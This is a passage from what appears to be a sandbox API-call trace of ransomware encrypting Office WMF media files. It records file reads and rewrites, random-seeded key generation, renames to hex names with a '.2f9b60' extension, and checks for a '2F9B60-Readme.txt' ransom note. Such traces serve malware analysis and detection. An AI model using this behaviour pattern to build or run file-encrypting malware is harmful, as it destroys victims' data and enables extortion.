_Dest="e0") returned 2 [0135.374] sprintf (in: _Dest=0x1cd9fffe, _Format="%c%c" | out: _Dest="ee") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0000, _Format="%c%c" | out: _Dest="94") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0002, _Format="%c%c" | out: _Dest="17") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0004, _Format="%c%c" | out: _Dest="6b") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0006, _Format="%c%c" | out: _Dest="f2") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0008, _Format="%c%c" | out: _Dest="e8") returned 2 [0135.374] sprintf (in: _Dest=0x1cda000a, _Format="%c%c" | out: _Dest="b7") returned 2 [0135.374] sprintf (in: _Dest=0x1cda000c, _Format="%c%c" | out: _Dest="5d") returned 2 [0135.374] sprintf (in: _Dest=0x1cda000e, _Format="%c%c" | out: _Dest="7d") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0010, _Format="%c%c" | out: _Dest="17") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0012, _Format="%c%c" | out: _Dest="30") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0014, _Format="%c%c" | out: _Dest="26") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0016, _Format="%c%c" | out: _Dest="01") returned 2 [0135.374] sprintf (in: _Dest=0x1cda0018, _Format="%c%c" | out: _Dest="49") returned 2 [0135.374] sprintf (in: _Dest=0x1cda001a, _Format="%c%c" | out: _Dest="49") returned 2 [0135.374] sprintf (in: _Dest=0x1cda001c, _Format="%c%c" | out: _Dest="42") returned 2 [0135.375] sprintf (in: _Dest=0x1cda001e, _Format="%c%c" | out: _Dest="83") returned 2 [0135.375] RtlInitAnsiString (in: DestinationString=0x25d8fe88, SourceString="5cb0b236bc3be0ee94176bf2e8b75d7d1730260149494283" | out: DestinationString="5cb0b236bc3be0ee94176bf2e8b75d7d1730260149494283") [0135.375] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d8fe58, SourceString="5cb0b236bc3be0ee94176bf2e8b75d7d1730260149494283", AllocateDestinationString=1 | out: DestinationString="5cb0b236bc3be0ee94176bf2e8b75d7d1730260149494283") returned 0x0 [0135.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0135.375] wcscat (in: _Dest=0x20508ef0, _Source="5cb0b236bc3b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b" [0135.375] wcscat (in: _Dest=0x20508ef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b.2f9b60" [0135.375] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b.2f9b60", NtPathName=0x25d8fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5cb0b236bc3b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202adfa0 [0137.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0137.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0137.411] NtQueryInformationFile (in: FileHandle=0x1c58, IoStatusBlock=0x25d8fe98, FileInformation=0x25d8fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d8fe98, FileInformation=0x25d8fea8) returned 0x0 [0137.411] NtSetInformationFile (FileHandle=0x1c58, IoStatusBlock=0x25d8fe98, FileInformation=0x25d8fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508ef0) returned 1 [0137.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0137.412] FlushFileBuffers (hFile=0x1c58) returned 1 [0138.540] CloseHandle (hObject=0x1c58) returned 1 [0138.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c570 [0138.646] wcscpy (in: _Dest=0x1b85c570, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0138.646] wcscat (in: _Dest=0x1b85c570, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0138.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0138.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c570) returned 1 [0138.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86baf0) returned 1 Thread: id = 1760 os_tid = 0xe80 [0132.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf")) returned 0x20 [0132.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF", dwFileAttributes=0x20) returned 1 [0133.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d84 [0136.304] GetFileSizeEx (in: hFile=0x1d84, lpFileSize=0x2771fbe0 | out: lpFileSize=0x2771fbe0*=6566) returned 1 [0136.304] SetFilePointerEx (in: hFile=0x1d84, liDistanceToMove=0x19a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.304] ReadFile (in: hFile=0x1d84, lpBuffer=0x2771fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2771fba8, lpOverlapped=0x0 | out: lpBuffer=0x2771fb60*, lpNumberOfBytesRead=0x2771fba8*=0x4, lpOverlapped=0x0) returned 1 [0136.378] SetFilePointerEx (in: hFile=0x1d84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0136.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.378] NtQuerySystemTime (in: CurrentTime=0x2771faa0 | out: CurrentTime=0x2771faa0*=132462177416242000) returned 0x0 [0136.378] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x51254e8f [0136.378] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0xdca7b95 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x1662ca55 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x4e7a050 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0xfee043a [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x620eddc1 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x1349a9e0 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x707d4049 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x72b26535 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x233e85b5 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x5fbb56bc [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x3859d81f [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x19d9bd9d [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x273f5a [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x224fd84d [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x701b3f1f [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x74da6cc0 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x5e60010e [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x3be2cc9a [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x4115e957 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x1a9d739 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x5a969ed7 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x1e9f163 [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x5fde7cfe [0136.379] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x1fafea5b [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x6cd7c572 [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x3526e948 [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x6143b3ad [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0xd167072 [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x17317a92 [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x4f787e5d [0136.380] RtlRandomEx (in: Seed=0x2771fa90 | out: Seed=0x2771fa90) returned 0x6c68f7be [0136.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0136.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0136.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0136.414] ReadFile (in: hFile=0x1d84, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x19a6, lpNumberOfBytesRead=0x2771fa90, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x2771fa90*=0x19a6, lpOverlapped=0x0) returned 1 [0136.492] SetFilePointerEx (in: hFile=0x1d84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.492] WriteFile (in: hFile=0x1d84, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x19a6, lpNumberOfBytesWritten=0x2771fa94, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x2771fa94*=0x19a6, lpOverlapped=0x0) returned 1 [0136.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0136.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0136.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a620 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a680 [0136.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0136.668] SetFilePointerEx (in: hFile=0x1d84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.668] WriteFile (in: hFile=0x1d84, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2771fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2771fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0136.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a660 [0136.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a660) returned 1 [0136.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a660 [0136.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0136.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0136.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ecf0 [0136.688] sprintf (in: _Dest=0x1cd9ecf0, _Format="%c%c" | out: _Dest="ec") returned 2 [0136.688] sprintf (in: _Dest=0x1cd9ecf2, _Format="%c%c" | out: _Dest="69") returned 2 [0136.688] sprintf (in: _Dest=0x1cd9ecf4, _Format="%c%c" | out: _Dest="58") returned 2 [0136.688] sprintf (in: _Dest=0x1cd9ecf6, _Format="%c%c" | out: _Dest="f4") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ecf8, _Format="%c%c" | out: _Dest="36") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ecfa, _Format="%c%c" | out: _Dest="69") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ecfc, _Format="%c%c" | out: _Dest="c5") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ecfe, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed00, _Format="%c%c" | out: _Dest="01") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed02, _Format="%c%c" | out: _Dest="80") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed04, _Format="%c%c" | out: _Dest="0a") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed06, _Format="%c%c" | out: _Dest="64") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed08, _Format="%c%c" | out: _Dest="71") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed0a, _Format="%c%c" | out: _Dest="c7") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed0c, _Format="%c%c" | out: _Dest="13") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed0e, _Format="%c%c" | out: _Dest="cf") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed10, _Format="%c%c" | out: _Dest="6d") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed12, _Format="%c%c" | out: _Dest="5c") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed14, _Format="%c%c" | out: _Dest="ae") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed16, _Format="%c%c" | out: _Dest="66") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed18, _Format="%c%c" | out: _Dest="42") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed1a, _Format="%c%c" | out: _Dest="70") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed1c, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.689] sprintf (in: _Dest=0x1cd9ed1e, _Format="%c%c" | out: _Dest="17") returned 2 [0136.690] RtlInitAnsiString (in: DestinationString=0x2771fc28, SourceString="ec6958f43669c5c901800a6471c713cf6d5cae664270c917" | out: DestinationString="ec6958f43669c5c901800a6471c713cf6d5cae664270c917") [0136.690] RtlAnsiStringToUnicodeString (in: DestinationString=0x2771fbf8, SourceString="ec6958f43669c5c901800a6471c713cf6d5cae664270c917", AllocateDestinationString=1 | out: DestinationString="ec6958f43669c5c901800a6471c713cf6d5cae664270c917") returned 0x0 [0136.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0136.690] RtlFreeAnsiString (AnsiString="e") [0136.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ecf0) returned 1 [0136.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a660) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0136.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506590 [0136.692] wcscat (in: _Dest=0x20506590, _Source="ec6958f43669" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669" [0136.692] wcscat (in: _Dest=0x20506590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669.2f9b60" [0136.692] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669.2f9b60", NtPathName=0x2771fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ec6958f43669.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cdf0 [0136.692] NtSetInformationFile (FileHandle=0x1d84, IoStatusBlock=0x2771fc70, FileInformation=0x2050cdf0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0148.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cdf0) returned 1 [0148.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051af0) returned 1 [0148.271] NtQueryInformationFile (in: FileHandle=0x1d84, IoStatusBlock=0x2771fc38, FileInformation=0x2771fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2771fc38, FileInformation=0x2771fc48) returned 0x0 [0148.271] NtSetInformationFile (FileHandle=0x1d84, IoStatusBlock=0x2771fc38, FileInformation=0x2771fc48, Length=0x28, FileInformationClass=0x4) [0207.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506590) returned 1 [0207.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0207.755] FlushFileBuffers (hFile=0x1d84) returned 1 [0207.760] CloseHandle (hObject=0x1d84) returned 1 [0209.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22a20 [0209.558] wcscpy (in: _Dest=0x42c22a20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0209.558] wcscat (in: _Dest=0x42c22a20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0209.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0209.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22a20) returned 1 [0209.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ba60) returned 1 Thread: id = 1761 os_tid = 0x1788 [0132.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf")) returned 0x20 [0132.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF", dwFileAttributes=0x20) returned 1 [0133.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d90 [0136.485] GetFileSizeEx (in: hFile=0x1d90, lpFileSize=0x277bf8c0 | out: lpFileSize=0x277bf8c0*=5692) returned 1 [0136.485] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x1638, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.485] ReadFile (in: hFile=0x1d90, lpBuffer=0x277bf840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x277bf888, lpOverlapped=0x0 | out: lpBuffer=0x277bf840*, lpNumberOfBytesRead=0x277bf888*=0x4, lpOverlapped=0x0) returned 1 [0136.504] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.505] NtQuerySystemTime (in: CurrentTime=0x277bf780 | out: CurrentTime=0x277bf780*=132462177417490000) returned 0x0 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x469debd4 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x1e158f86 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0xbe0423 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x4b0af77b [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x146644f2 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x693b03ac [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x6619ffe2 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x4ffcfd32 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x516f4677 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x55da8b67 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x704c95d [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x7b59a31a [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x31aa6994 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x1bf18a3 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x27b6ba23 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x6c469834 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x1af46824 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x361c93b8 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x72a3b54d [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x51572300 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x8f40ad [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x80f7fd2 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x3bd886e6 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x50e58601 [0136.505] RtlRandomEx (in: Seed=0x277bf770 